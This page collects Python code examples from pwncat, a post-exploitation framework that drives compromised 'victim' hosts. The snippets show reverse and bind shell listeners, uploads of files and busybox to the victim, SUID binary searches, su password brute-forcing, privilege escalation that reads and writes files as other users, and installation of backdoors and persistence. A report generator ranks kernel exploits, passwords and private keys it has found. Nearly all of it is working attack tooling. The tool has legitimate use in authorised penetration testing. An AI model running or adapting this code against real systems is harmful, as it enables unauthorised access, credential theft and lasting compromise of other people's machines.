Example #1
0
    def run(self, args):

        try:
            length = os.path.getsize(args.source)
            started = time.time()
            with open(args.source, "rb") as source:
                with pwncat.victim.open(args.destination, "wb",
                                        length=length) as destination:
                    util.with_progress(
                        [
                            ("", "uploading "),
                            ("fg:ansigreen", args.source),
                            ("", " to "),
                            ("fg:ansired", args.destination),
                        ],
                        partial(util.copyfileobj, source, destination),
                        length=length,
                    )
            elapsed = time.time() - started
            util.success(
                f"uploaded {Fore.CYAN}{util.human_readable_size(length)}{Fore.RESET} "
                f"in {Fore.GREEN}{util.human_readable_delta(elapsed)}{Fore.RESET}"
            )
        except (FileNotFoundError, PermissionError, IsADirectoryError) as exc:
            self.parser.error(str(exc))
Example #2
0
    def run(self, args):

        if args.action == "revert":
            if args.all:
                removed_tampers = []
                util.progress(f"reverting tamper")
                for tamper in pwncat.victim.tamper:
                    try:
                        util.progress(f"reverting tamper: {tamper}")
                        tamper.revert()
                        removed_tampers.append(tamper)
                    except RevertFailed as exc:
                        util.warn(f"{tamper}: revert failed: {exc}")
                for tamper in removed_tampers:
                    pwncat.victim.tamper.remove(tamper)
                util.success("tampers reverted!")
                pwncat.victim.session.commit()
            else:
                if args.tamper not in range(len(pwncat.victim.tamper)):
                    self.parser.error("invalid tamper id")
                tamper = pwncat.victim.tamper[args.tamper]
                try:
                    tamper.revert()
                    pwncat.victim.tamper.remove(tamper)
                except RevertFailed as exc:
                    util.error(f"revert failed: {exc}")
                pwncat.victim.session.commit()
        else:
            for id, tamper in enumerate(pwncat.victim.tamper):
                print(f" {id} - {tamper}")
Example #3
0
    def find_suid(self):

        current_user = self.pty.whoami()

        # Only re-run the search if we haven't searched as this user yet
        if current_user in self.users_searched:
            return

        # Note that we already searched for binaries as this user
        self.users_searched.append(current_user)

        # Spawn a find command to locate the setuid binaries
        files = []
        with self.pty.subprocess("find / -perm -4000 -print 2>/dev/null",
                                 mode="r") as stream:
            util.progress("searching for setuid binaries")
            for path in stream:
                path = path.strip()
                util.progress(f"searching for setuid binaries: {path}")
                files.append(path)

        util.success("searching for setuid binaries: complete", overlay=True)

        for path in files:
            user = (self.pty.run(
                f"stat -c '%U' {shlex.quote(path)}").strip().decode("utf-8"))
            if user not in self.suid_paths:
                self.suid_paths[user] = []
            # Only add new binaries
            if path not in self.suid_paths[user]:
                self.suid_paths[user].append(path)
Example #4
0
def main():

    # Default log-level is "INFO"
    logging.getLogger().setLevel(logging.INFO)

    # Build the victim object
    pwncat.victim = Victim()

    # Arguments to `pwncat` are considered arguments to `connect`
    # We use the `prog_name` argument to make the help for "connect"
    # display "pwncat" in the usage. This is just a visual fix, and
    # isn't used anywhere else.
    pwncat.victim.command_parser.dispatch_line(
        shlex.join(["connect"] + sys.argv[1:]), prog_name="pwncat"
    )

    # Only continue if we successfully connected
    if not pwncat.victim.connected:
        exit(0)

    # Setup the selector to wait for data asynchronously from both streams
    selector = selectors.DefaultSelector()
    selector.register(sys.stdin, selectors.EVENT_READ, None)
    selector.register(pwncat.victim.client, selectors.EVENT_READ, "read")

    # Initialize our state
    done = False

    try:
        # This loop is only used to funnel data between the local
        # and remote hosts when in raw mode. During the `pwncat`
        # prompt, the main loop is handled by the CommandParser
        # class `run` method.
        while not done:
            for k, _ in selector.select():
                if k.fileobj is sys.stdin:
                    data = sys.stdin.buffer.read(8)
                    pwncat.victim.process_input(data)
                else:
                    data = pwncat.victim.recv()
                    if data is None or len(data) == 0:
                        done = True
                        break
                    sys.stdout.buffer.write(data)
                    sys.stdout.flush()
    except ConnectionResetError:
        pwncat.victim.restore_local_term()
        util.warn("connection reset by remote host")
    except SystemExit:
        util.success("closing down connection.")
    finally:
        # Restore the shell
        pwncat.victim.restore_local_term()
        try:
            # Make sure everything was committed
            pwncat.victim.session.commit()
        except InvalidRequestError:
            pass
        util.success("local terminal restored")
Example #5
0
    def run(self, args):

        if args.action == "status":
            ninstalled = 0
            for user, method in pwncat.victim.persist.installed:
                print(f" - {method.format(user)} installed")
                ninstalled += 1
            if not ninstalled:
                util.warn(
                    "no persistence methods observed as "
                    f"{Fore.GREEN}{pwncat.victim.whoami()}{Fore.RED}"
                )
            return
        elif args.action == "list":
            if args.method:
                try:
                    method = next(pwncat.victim.persist.find(args.method))
                    print(f"\033[4m{method.format()}{Style.RESET_ALL}")
                    print(textwrap.indent(textwrap.dedent(method.__doc__), "  "))
                except StopIteration:
                    util.error(f"{args.method}: no such persistence method")
            else:
                for method in pwncat.victim.persist:
                    print(f" - {method.format()}")
            return
        elif args.action == "clean":
            util.progress("cleaning persistence methods: ")
            for user, method in pwncat.victim.persist.installed:
                try:
                    util.progress(
                        f"cleaning persistance methods: {method.format(user)}"
                    )
                    pwncat.victim.persist.remove(method.name, user)
                    util.success(f"removed {method.format(user)}")
                except PersistenceError as exc:
                    util.erase_progress()
                    util.warn(
                        f"{method.format(user)}: removal failed: {exc}\n", overlay=True
                    )
            util.erase_progress()
            return
        elif args.method is None:
            self.parser.error("no method specified")
            return

        # Grab the user we want to install the persistence as
        if args.user:
            user = args.user
        else:
            # Default is to install as current user
            user = pwncat.victim.whoami()

        try:
            if args.action == "install":
                pwncat.victim.persist.install(args.method, user)
            elif args.action == "remove":
                pwncat.victim.persist.remove(args.method, user)
        except PersistenceError as exc:
            util.error(f"{exc}")
Example #6
0
    def run(self, args):

        # Get the terminal type
        TERM = os.environ.get("TERM", None)
        if TERM is None:
            util.warn("no local TERM set. falling back to 'xterm'")
            TERM = "xterm"

        # Get the width and height
        columns, rows = os.get_terminal_size(0)

        # Update the state
        pwncat.victim.run(f"stty rows {rows};"
                          f"stty columns {columns};"
                          f"export TERM='{TERM}'")

        util.success("terminal state synchronized")
Example #7
0
    def run(self, args):

        for name in args.user:
            args.dictionary.seek(0)
            for line in args.dictionary:
                line = line.strip()
                util.progress(f"bruteforcing {name}: {line}")

                try:
                    # Attempt the password
                    pwncat.victim.su(name, line, check=True)
                    pwncat.victim.users[name].password = line
                    util.success(f"user {name} has password {repr(line)}!")
                    break
                except PermissionError:
                    continue

        util.success("bruteforcing completed")
Example #8
0
    def state(self, value: State):
        if value == self._state:
            return

        if value == State.RAW:
            self.flush_output()
            self.client.send(b"\n")
            util.success("pwncat is ready 🐈")
            self.saved_term_state = util.enter_raw_mode()
            self.command_parser.running = False
            self._state = value
            return
        if value == State.COMMAND:
            # Go back to normal mode
            self.restore_local_term()
            self._state = State.COMMAND
            # Hopefully this fixes weird cursor position issues
            util.success("local terminal restored")
            # Setting the state to local command mode does not return until
            # command processing is complete.
            self.command_parser.run()
            return
        if value == State.SINGLE:
            # Go back to normal mode
            self.restore_local_term()
            self._state = State.SINGLE
            # Hopefully this fixes weird cursor position issues
            sys.stdout.write("\n")
            # Setting the state to local command mode does not return until
            # command processing is complete.
            self.command_parser.run_single()

            # Go back to raw mode
            self.flush_output()
            self.client.send(b"\n")
            self.saved_term_state = util.enter_raw_mode()
            self._state = State.RAW
            return
Example #9
0
    def find_suid(self):

        current_user: "******" = pwncat.victim.current_user

        # We've already searched for SUID binaries as this user
        if len(current_user.suid):
            return

        # Spawn a find command to locate the setuid binaries
        files = []
        with pwncat.victim.subprocess(
            "find / -perm -4000 -print 2>/dev/null", mode="r", no_job=True
        ) as stream:
            util.progress("searching for setuid binaries")
            for path in stream:
                path = path.strip().decode("utf-8")
                util.progress(
                    (
                        f"searching for setuid binaries as {Fore.GREEN}{current_user.name}{Fore.RESET}: "
                        f"{Fore.CYAN}{os.path.basename(path)}{Fore.RESET}"
                    )
                )
                files.append(path)

        util.success("searching for setuid binaries: complete", overlay=True)

        with pwncat.victim.subprocess(
            f"stat -c '%U' {' '.join(files)}", mode="r", no_job=True
        ) as stream:
            for file, user in zip(files, stream):
                user = user.strip().decode("utf-8")
                binary = pwncat.db.SUID(path=file,)
                pwncat.victim.host.suid.append(binary)
                pwncat.victim.users[user].owned_suid.append(binary)
                current_user.suid.append(binary)

        pwncat.victim.session.commit()
Example #10
0
    def do_privesc(self, argv):
        """ Attempt privilege escalation """

        parser = argparse.ArgumentParser(prog="privesc")
        parser.add_argument(
            "--list",
            "-l",
            action="store_true",
            help="do not perform escalation. list potential escalation methods",
        )
        parser.add_argument(
            "--all",
            "-a",
            action="store_const",
            dest="user",
            const=None,
            help=
            "when listing methods, list for all users. when escalating, escalate to root.",
        )
        parser.add_argument(
            "--user",
            "-u",
            choices=[user for user in self.users],
            default="root",
            help="the target user",
        )
        parser.add_argument(
            "--max-depth",
            "-m",
            type=int,
            default=None,
            help="Maximum depth for the privesc search (default: no maximum)",
        )
        parser.add_argument(
            "--read",
            "-r",
            type=str,
            default=None,
            help="remote filename to try and read",
        )
        parser.add_argument(
            "--write",
            "-w",
            type=str,
            default=None,
            help="attempt to write to a remote file as the specified user",
        )
        parser.add_argument(
            "--data",
            "-d",
            type=str,
            default=None,
            help="the data to write a file. ignored if not write mode",
        )
        parser.add_argument(
            "--text",
            "-t",
            action="store_true",
            default=False,
            help="whether to use safe readers/writers",
        )

        try:
            args = parser.parse_args(argv)
        except SystemExit:
            # The arguments were parsed incorrectly, return.
            return

        if args.list:
            techniques = self.privesc.search(args.user)
            if len(techniques) == 0:
                util.warn("no techniques found")
            else:
                for tech in techniques:
                    util.info(f" - {tech}")
        elif args.read:
            try:
                read_pipe, chain = self.privesc.read_file(
                    args.read, args.user, args.max_depth)

                # Read the data from the pipe
                sys.stdout.buffer.write(read_pipe.read(4096))
                read_pipe.close()

                # Unwrap in case we had to privesc to get here
                self.privesc.unwrap(chain)

            except privesc.PrivescError as exc:
                util.error(f"read file failed: {exc}")
        elif args.write:
            if args.data is None:
                util.error("no data specified")
            else:
                if args.data.startswith("@"):
                    with open(args.data[1:], "rb") as f:
                        data = f.read()
                else:
                    data = args.data.encode("utf-8")
                try:
                    chain = self.privesc.write_file(
                        args.write,
                        data,
                        safe=not args.text,
                        target_user=args.user,
                        depth=args.max_depth,
                    )
                    self.privesc.unwrap(chain)
                    util.success("file written successfully!")
                except privesc.PrivescError as exc:
                    util.error(f"file write failed: {exc}")
        else:
            try:
                chain = self.privesc.escalate(args.user, args.max_depth)

                ident = self.id
                backdoor = False
                if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0:
                    util.progress(
                        "EUID != UID. installing backdoor to complete privesc")
                    try:
                        self.privesc.add_backdoor()
                        backdoor = True
                    except privesc.PrivescError as exc:
                        util.warn(f"backdoor installation failed: {exc}")

                util.success("privilege escalation succeeded using:")
                for i, (technique, _) in enumerate(chain):
                    arrow = f"{Fore.YELLOW}\u2ba1{Fore.RESET} "
                    print(f"{(i+1)*' '}{arrow}{technique}")

                if backdoor:
                    print((f"{(len(chain)+1)*' '}{arrow}"
                           f"{Fore.YELLOW}pwncat{Fore.RESET} backdoor"))

                self.reset()
                self.do_back([])
            except privesc.PrivescError as exc:
                util.error(f"escalation failed: {exc}")
Example #11
0
    def bootstrap_busybox(self, url, method):
        """ Utilize the architecture we grabbed from `uname -m` to grab a
        precompiled busybox binary and upload it to the remote machine. This
        makes uploading/downloading and dependency tracking easier. It also
        makes file upload/download safer, since we have a known good set of 
        commands we can run (rather than relying on GTFObins) """

        if self.has_busybox:
            util.success("busybox is already available!")
            return

        busybox_remote_path = self.which("busybox")

        if busybox_remote_path is None:

            # We use the stable busybox version at the time of writing. This should
            # probably be configurable.
            busybox_url = url.rstrip("/") + "/busybox-{arch}"

            # Attempt to download the busybox binary
            r = requests.get(busybox_url.format(arch=self.arch), stream=True)

            # No busybox support
            if r.status_code == 404:
                util.warn(f"no busybox for architecture: {self.arch}")
                return

            with ProgressBar(f"downloading busybox for {self.arch}") as pb:
                counter = pb(int(r.headers["Content-Length"]))
                with tempfile.NamedTemporaryFile("wb", delete=False) as filp:
                    last_update = time.time()
                    busybox_local_path = filp.name
                    for chunk in r.iter_content(chunk_size=1024 * 1024):
                        filp.write(chunk)
                        counter.items_completed += len(chunk)
                        if (time.time() - last_update) > 0.1:
                            pb.invalidate()
                    counter.stopped = True
                    pb.invalidate()
                    time.sleep(0.1)

            # Stage a temporary file for busybox
            busybox_remote_path = (
                self.run("mktemp -t busyboxXXXXX").decode("utf-8").strip())

            # Upload busybox using the best known method to the remote server
            self.do_upload(
                ["-m", method, "-o", busybox_remote_path, busybox_local_path])

            # Make busybox executable
            self.run(f"chmod +x {shlex.quote(busybox_remote_path)}")

            # Remove local busybox copy
            os.unlink(busybox_local_path)

            util.success(
                f"uploaded busybox to {Fore.GREEN}{busybox_remote_path}{Fore.RESET}"
            )

        else:
            # Busybox was provided on the system!
            util.success(f"busybox already installed on remote system!")

        # Check what this busybox provides
        util.progress("enumerating provided applets")
        pipe = self.subprocess(f"{shlex.quote(busybox_remote_path)} --list")
        provides = pipe.read().decode("utf-8").strip().split("\n")
        pipe.close()

        # prune any entries which the system marks as SETUID or SETGID
        stat = self.which("stat", quote=True)

        if stat is not None:
            util.progress("enumerating remote binary permissions")
            which_provides = [f"`which {p}`" for p in provides]
            permissions = (self.run(f"{stat} -c %A {' '.join(which_provides)}"
                                    ).decode("utf-8").strip().split("\n"))
            new_provides = []
            for name, perms in zip(provides, permissions):
                if "No such" in perms:
                    # The remote system doesn't have this binary
                    continue
                if "s" not in perms.lower():
                    util.progress(
                        f"keeping {Fore.BLUE}{name}{Fore.RESET} in busybox")
                    new_provides.append(name)
                else:
                    util.progress(
                        f"pruning {Fore.RED}{name}{Fore.RESET} from busybox")

            util.success(
                f"pruned {len(provides)-len(new_provides)} setuid entries")
            provides = new_provides

        # Let the class know we now have access to busybox
        self.busybox_provides = provides
        self.has_busybox = True
        self.busybox_path = busybox_remote_path
Example #12
0
    def run(self, args):

        if args.action == "list":
            techniques = pwncat.victim.privesc.search(args.user)
            if len(techniques) == 0:
                util.warn("no techniques found")
            else:
                for tech in techniques:
                    util.info(f" - {tech}")
        elif args.action == "read":
            if not args.path:
                self.parser.error("missing required argument: --path")
            try:
                read_pipe, chain = pwncat.victim.privesc.read_file(
                    args.path, args.user, args.max_depth)
                util.success("file successfully opened!")

                # Read the data from the pipe
                shutil.copyfileobj(read_pipe, sys.stdout.buffer)
                read_pipe.close()

                # Unwrap in case we had to privesc to get here
                pwncat.victim.privesc.unwrap(chain)

            except privesc.PrivescError as exc:
                util.error(f"read file failed: {exc}")
        elif args.action == "write":
            # Make sure the correct arguments are present
            if not args.path:
                self.parser.error("missing required argument: --path")
            if not args.data:
                self.parser.error("missing required argument: --data")

            # Read in the data file
            try:
                with open(args.data, "rb") as f:
                    data = f.read()
            except PermissionError:
                self.parser.error(f"no local permission to read: {args.data}")

            try:
                # Attempt to write the data to the remote file
                chain = pwncat.victim.privesc.write_file(
                    args.path,
                    data,
                    target_user=args.user,
                    depth=args.max_depth,
                )
                pwncat.victim.privesc.unwrap(chain)
                util.success("file written successfully!")
            except privesc.PrivescError as exc:
                util.error(f"file write failed: {exc}")
        elif args.action == "escalate":
            try:
                chain = pwncat.victim.privesc.escalate(args.user,
                                                       args.max_depth)

                ident = pwncat.victim.id
                if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0:
                    util.progress(
                        "mismatched euid and uid; attempting backdoor installation."
                    )
                    for method in pwncat.victim.persist.available:
                        if not method.system or not method.local:
                            continue
                        try:
                            # Attempt to install this persistence method
                            pwncat.victim.persist.install(method.name)
                            if not method.escalate():
                                # The escalation didn't work, remove it and try the next
                                pwncat.victim.persist.remove(method.name)
                                continue
                            chain.append((
                                f"{method.format()} ({Fore.CYAN}euid{Fore.RESET} correction)",
                                "exit",
                            ))
                            break
                        except PersistenceError:
                            continue

                util.success("privilege escalation succeeded using:")
                for i, (technique, _) in enumerate(chain):
                    arrow = f"{Fore.YELLOW}\u2ba1{Fore.RESET} "
                    print(f"{(i+1)*' '}{arrow}{technique}")
                pwncat.victim.reset()
                pwncat.victim.state = State.RAW
            except privesc.PrivescError as exc:
                util.error(f"escalation failed: {exc}")
Example #13
0
def main():

    # Default log-level is "INFO"
    logging.getLogger().setLevel(logging.INFO)

    parser = argparse.ArgumentParser(prog="pwncat")
    mutex_group = parser.add_mutually_exclusive_group(required=True)
    mutex_group.add_argument(
        "--reverse",
        "-r",
        action="store_const",
        dest="type",
        const="reverse",
        help="Listen on the specified port for connections from a remote host",
    )
    mutex_group.add_argument(
        "--bind",
        "-b",
        action="store_const",
        dest="type",
        const="bind",
        help="Connect to a remote host",
    )
    parser.add_argument(
        "--host",
        "-H",
        type=str,
        help=
        ("Bind address for reverse connections. Remote host for bind connections (default: 0.0.0.0)"
         ),
        default="0.0.0.0",
    )
    parser.add_argument(
        "--port",
        "-p",
        type=int,
        help=
        "Bind port for reverse connections. Remote port for bind connections",
        required=True,
    )
    parser.add_argument(
        "--method",
        "-m",
        choices=[*Victim.OPEN_METHODS.keys()],
        help="Method to create a pty on the remote host (default: script)",
        default="script",
    )
    parser.add_argument("--config",
                        "-c",
                        help="Configuration script",
                        default=None)
    args = parser.parse_args()

    # Build the victim object
    pwncat.victim = Victim(args.config)

    # Run the configuration script
    if args.config:
        with open(args.config, "r") as filp:
            config_script = filp.read()
        pwncat.victim.command_parser.eval(config_script, args.config)

    if args.type == "reverse":
        # Listen on a socket for connections
        util.info(f"binding to {args.host}:{args.port}", overlay=True)
        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        server.bind((args.host, args.port))
        # After the first connection, drop further attempts
        server.listen(1)

        # Wait for a single connection
        try:
            (client, address) = server.accept()
        except KeyboardInterrupt:
            util.warn(f"aborting listener...")
            sys.exit(0)
    elif args.type == "bind":
        util.info(f"connecting to {args.host}:{args.port}", overlay=True)
        # client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        # client.connect((args.host, args.port))
        client = socket.create_connection((args.host, args.port))
        address = (args.host, args.port)
    else:
        parser.error("must specify a valid connection type!")
        sys.exit(1)

    util.info(f"connection to {address[0]}:{address[1]} established",
              overlay=True)

    # Connect and initialize the remote victim
    pwncat.victim.connect(client)

    # Setup the selector to wait for data asynchronously from both streams
    selector = selectors.DefaultSelector()
    selector.register(sys.stdin, selectors.EVENT_READ, None)
    selector.register(client, selectors.EVENT_READ, "read")

    # Initialize our state
    done = False

    try:
        while not done:
            for k, _ in selector.select():
                if k.fileobj is sys.stdin:
                    data = sys.stdin.buffer.read(8)
                    pwncat.victim.process_input(data)
                else:
                    data = pwncat.victim.recv()
                    if data is None or len(data) == 0:
                        done = True
                        break
                    sys.stdout.buffer.write(data)
                    sys.stdout.flush()
    except ConnectionResetError:
        pwncat.victim.restore_local_term()
        util.warn("connection reset by remote host")
    finally:
        # Restore the shell
        pwncat.victim.restore_local_term()
        try:
            # Make sure everything was committed
            pwncat.victim.session.commit()
        except InvalidRequestError:
            pass
        util.success("local terminal restored")
Example #14
0
    def generate_report(self, report_path: str):
        """ Generate a markdown report of enumeration data for the remote host. This
        report is generated from all facts which pwncat is capable of enumerating.
        It does not need nor honor the type or provider options. """

        # Dictionary mapping type names to facts. Each type name is mapped
        # to a dictionary which maps sources to a list of facts. This makes
        # organizing the output report easier.
        report_data: Dict[str, Dict[str, List[pwncat.db.Fact]]] = {}
        system_details = []

        try:
            # Grab hostname
            hostname = pwncat.victim.enumerate.first("system.hostname").data
            system_details.append(["Hostname", hostname])
        except ValueError:
            hostname = "[unknown-hostname]"

        # Not provided by enumerate, but natively known due to our connection
        system_details.append(["Primary Address", pwncat.victim.host.ip])
        system_details.append(["Derived Hash", pwncat.victim.host.hash])

        try:
            # Grab distribution
            distro = pwncat.victim.enumerate.first("system.distro").data
            system_details.append([
                "Distribution",
                f"{distro.name} ({distro.ident}) {distro.version}"
            ])
        except ValueError:
            pass

        try:
            # Grab the architecture
            arch = pwncat.victim.enumerate.first("system.arch").data
            system_details.append(["Architecture", arch.arch])
        except ValueError:
            pass

        try:
            # Grab kernel version
            kernel = pwncat.victim.enumerate.first(
                "system.kernel.version").data
            system_details.append([
                "Kernel",
                f"Linux Kernel {kernel.major}.{kernel.minor}.{kernel.patch}-{kernel.abi}",
            ])
        except ValueError:
            pass

        try:
            # Grab init system
            init = pwncat.victim.enumerate.first("system.init").data
            system_details.append(["Init", init.init])
        except ValueError:
            pass

        # Build the table writer for the main section
        table_writer = MarkdownTableWriter()
        table_writer.headers = ["Property", "Value"]
        table_writer.column_styles = [
            pytablewriter.style.Style(align="right"),
            pytablewriter.style.Style(align="center"),
        ]
        table_writer.value_matrix = system_details
        table_writer.margin = 1

        # Note enumeration data we don't need anymore. These are handled above
        # in the system_details table which is output with the table_writer.
        ignore_types = [
            "system.hostname",
            "system.kernel.version",
            "system.distro",
            "system.init",
            "system.arch",
        ]

        # This is the list of known enumeration types that we want to
        # happen first in this order. Other types will still be output
        # but will be output in an arbitrary order following this list
        ordered_types = [
            # Possible kernel exploits - very important
            "system.kernel.exploit",
            # Enumerated user passwords - very important
            "system.user.password",
            # Enumerated possible user private keys - very important
            "system.user.private_key",
            # Directories in our path that are writable
            "writable_path",
        ]

        # These types are very noisy. They are important for full enumeration,
        # but are better suited for the end of the list. These are output last
        # no matter what in this order.
        noisy_types = [
            # System services. There's normally a lot of these
            "system.service",
            # Installed packages. There's *always* a lot of these
            "system.package",
        ]

        util.progress("enumerating report_data")
        for fact in pwncat.victim.enumerate.iter():
            util.progress(f"enumerating report_data: {fact.data}")
            if fact.type in ignore_types:
                continue
            if fact.type not in report_data:
                report_data[fact.type] = {}
            if fact.source not in report_data[fact.type]:
                report_data[fact.type][fact.source] = []
            report_data[fact.type][fact.source].append(fact)

        util.erase_progress()

        try:
            with open(report_path, "w") as filp:
                filp.write(f"# {hostname} - {pwncat.victim.host.ip}\n\n")

                # Write the system info table
                table_writer.dump(filp, close_after_write=False)
                filp.write("\n")

                # output ordered types first
                for typ in ordered_types:
                    if typ not in report_data:
                        continue
                    self.render_section(filp, typ, report_data[typ])

                # output everything that's not a ordered or noisy type
                for typ, sources in report_data.items():
                    if typ in ordered_types or typ in noisy_types:
                        continue
                    self.render_section(filp, typ, sources)

                # Output the noisy types
                for typ in noisy_types:
                    if typ not in report_data:
                        continue
                    self.render_section(filp, typ, report_data[typ])

            util.success(f"enumeration report written to {report_path}")
        except OSError:
            self.parser.error(f"{report_path}: failed to open output file")
Example #15
0
    def run(self, args):

        if pwncat.victim.client is not None:
            util.error(
                "connect can only be called prior to an active connection!")
            return

        if args.config:
            try:
                # Load the configuration
                with open(args.config, "r") as filp:
                    pwncat.victim.command_parser.eval(filp.read(), args.config)
            except OSError as exc:
                self.parser.error(str(exc))

        if args.action == "none":
            # No action was provided, and no connection was made in the config
            if pwncat.victim.client is None:
                self.parser.print_help()
            return

        if args.action == "listen":
            if not args.host:
                args.host = "0.0.0.0"

            util.progress(f"binding to {args.host}:{args.port}")

            # Create the socket server
            server = socket.create_server((args.host, args.port),
                                          reuse_port=True)

            try:
                # Wait for a connection
                (client, address) = server.accept()
            except KeyboardInterrupt:
                util.warn(f"aborting listener...")
                return

            util.success(f"received connection from {address[0]}:{address[1]}")
            pwncat.victim.connect(client)
        elif args.action == "connect":
            if not args.host:
                self.parser.error(
                    "host address is required for outbound connections")

            util.progress(f"connecting to {args.host}:{args.port}")

            # Connect to the remote host
            client = socket.create_connection((args.host, args.port))

            util.success(f"connection to {args.host}:{args.port} established")
            pwncat.victim.connect(client)
        elif args.action == "ssh":

            if not args.port:
                args.port = 22

            if not args.user:
                self.parser.error("you must specify a user")

            if not (args.password or args.identity):
                self.parser.error(
                    "either a password or identity file is required")

            try:
                # Connect to the remote host's ssh server
                sock = socket.create_connection((args.host, args.port))
            except Exception as exc:
                util.error(str(exc))
                return

            # Create a paramiko SSH transport layer around the socket
            t = paramiko.Transport(sock)
            try:
                t.start_client()
            except paramiko.SSHException:
                sock.close()
                util.error("ssh negotiation failed")
                return

            if args.identity:
                try:
                    # Load the private key for the user
                    key = paramiko.RSAKey.from_private_key_file(args.identity)
                except:
                    password = prompt("RSA Private Key Passphrase: ",
                                      is_password=True)
                    key = paramiko.RSAKey.from_private_key_file(
                        args.identity, password)

                # Attempt authentication
                try:
                    t.auth_publickey(args.user, key)
                except paramiko.ssh_exception.AuthenticationException as exc:
                    util.error(f"authentication failed: {exc}")
            else:
                try:
                    t.auth_password(args.user, args.password)
                except paramiko.ssh_exception.AuthenticationException as exc:
                    util.error(f"authentication failed: {exc}")

            if not t.is_authenticated():
                t.close()
                sock.close()
                return

            # Open an interactive session
            chan = t.open_session()
            chan.get_pty()
            chan.invoke_shell()

            # Initialize the session!
            pwncat.victim.connect(chan)
        elif args.action == "reconnect":
            if not args.host:
                self.parser.error(
                    "host address or hash is required for reconnection")

            try:
                addr = ipaddress.ip_address(args.host)
                util.progress(f"enumerating persistence methods for {addr}")
                host = (pwncat.victim.session.query(
                    pwncat.db.Host).filter_by(ip=str(addr)).first())
                if host is None:
                    util.error(f"{args.host}: not found in database")
                    return
                host_hash = host.hash
            except ValueError:
                host_hash = args.host

            # Reconnect to the given host
            try:
                pwncat.victim.reconnect(host_hash, args.method, args.user)
            except PersistenceError as exc:
                util.error(f"{args.host}: connection failed")
                return
        elif args.action == "list":
            if pwncat.victim.session is not None:
                for host in pwncat.victim.session.query(pwncat.db.Host):
                    if len(host.persistence) == 0:
                        continue
                    print(
                        f"{Fore.MAGENTA}{host.ip}{Fore.RESET} - {Fore.RED}{host.distro}{Fore.RESET} - {Fore.YELLOW}{host.hash}{Fore.RESET}"
                    )
                    for p in host.persistence:
                        print(
                            f"  - {Fore.BLUE}{p.method}{Fore.RESET} as {Fore.GREEN}{p.user if p.user else 'system'}{Fore.RESET}"
                        )
        else:
            util.error(f"{args.action}: invalid action")
Example #16
0
    def run(self, args):

        if args.action == "list":
            techniques = pwncat.victim.privesc.search(args.user)
            if len(techniques) == 0:
                util.warn("no techniques found")
            else:
                for tech in techniques:
                    util.info(f" - {tech}")
        elif args.action == "read":
            if not args.path:
                self.parser.error("missing required argument: --path")
            try:
                read_pipe, chain = pwncat.victim.privesc.read_file(
                    args.path, args.user, args.max_depth)
                util.success("file successfully opened!")

                # Read the data from the pipe
                shutil.copyfileobj(read_pipe, sys.stdout.buffer)
                read_pipe.close()

                # Unwrap in case we had to privesc to get here
                pwncat.victim.privesc.unwrap(chain)

            except privesc.PrivescError as exc:
                util.error(f"read file failed: {exc}")
        elif args.action == "write":
            # Make sure the correct arguments are present
            if not args.path:
                self.parser.error("missing required argument: --path")
            if not args.data:
                self.parser.error("missing required argument: --data")

            # Read in the data file
            with open(args.data, "rb") as f:
                data = f.read()

            try:
                # Attempt to write the data to the remote file
                chain = pwncat.victim.privesc.write_file(
                    args.path,
                    data,
                    target_user=args.user,
                    depth=args.max_depth,
                )
                pwncat.victim.privesc.unwrap(chain)
                util.success("file written successfully!")
            except privesc.PrivescError as exc:
                util.error(f"file write failed: {exc}")
        elif args.action == "escalate":
            try:
                chain = pwncat.victim.privesc.escalate(args.user,
                                                       args.max_depth)

                ident = pwncat.victim.id
                backdoor = False
                if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0:
                    util.progress(
                        "EUID != UID. installing backdoor to complete privesc")
                    try:
                        pwncat.victim.privesc.add_backdoor()
                        backdoor = True
                    except privesc.PrivescError as exc:
                        util.warn(f"backdoor installation failed: {exc}")

                util.success("privilege escalation succeeded using:")
                for i, (technique, _) in enumerate(chain):
                    arrow = f"{Fore.YELLOW}\u2ba1{Fore.RESET} "
                    print(f"{(i+1)*' '}{arrow}{technique}")

                if backdoor:
                    print((f"{(len(chain)+1)*' '}{arrow}"
                           f"{Fore.YELLOW}pwncat{Fore.RESET} backdoor"))

                pwncat.victim.reset()
                pwncat.victim.state = State.RAW
            except privesc.PrivescError as exc:
                util.error(f"escalation failed: {exc}")
Example #17
0
    def bootstrap_busybox(self, url):
        """ Utilize the architecture we grabbed from `uname -m` to grab a
        precompiled busybox binary and upload it to the remote machine. This
        makes uploading/downloading and dependency tracking easier. It also
        makes file upload/download safer, since we have a known good set of 
        commands we can run (rather than relying on GTFObins) """

        if self.has_busybox:
            util.success("busybox is already available!")
            return

        busybox_remote_path = self.which("busybox")

        if busybox_remote_path is None:

            # We use the stable busybox version at the time of writing. This should
            # probably be configurable.
            busybox_url = url.rstrip("/") + "/busybox-{arch}"

            # Attempt to download the busybox binary
            r = requests.get(busybox_url.format(arch=self.arch), stream=True)

            # No busybox support
            if r.status_code == 404:
                util.warn(f"no busybox for architecture: {self.arch}")
                return

            # Grab the original_content length if provided
            length = r.headers.get("Content-Length", None)
            if length is not None:
                length = int(length)

            # Stage a temporary file for busybox
            busybox_remote_path = (
                self.run("mktemp -t busyboxXXXXX").decode("utf-8").strip()
            )

            # Open the remote file for writing
            with self.open(busybox_remote_path, "wb", length=length) as filp:

                # Local function for transferring the original_content
                def transfer(on_progress):
                    for chunk in r.iter_content(chunk_size=1024 * 1024):
                        filp.write(chunk)
                        on_progress(len(chunk))

                # Run the transfer with a progress bar
                util.with_progress(
                    f"uploading busybox for {self.arch}", transfer, length,
                )

            # Make busybox executable
            self.run(f"chmod +x {shlex.quote(busybox_remote_path)}")

            # Custom tamper to remove busybox and stop tracking it here
            self.tamper.custom(
                (
                    f"{Fore.RED}installed{Fore.RESET} {Fore.GREEN}busybox{Fore.RESET} "
                    f"to {Fore.CYAN}{busybox_remote_path}{Fore.RESET}"
                ),
                self.remove_busybox,
            )

            util.success(
                f"uploaded busybox to {Fore.GREEN}{busybox_remote_path}{Fore.RESET}"
            )

        else:
            # Busybox was provided on the system!
            util.success(f"busybox already installed on remote system!")

        # Check what this busybox provides
        util.progress("enumerating provided applets")
        pipe = self.subprocess(f"{shlex.quote(busybox_remote_path)} --list")
        provides = pipe.read().decode("utf-8").strip().split("\n")
        pipe.close()

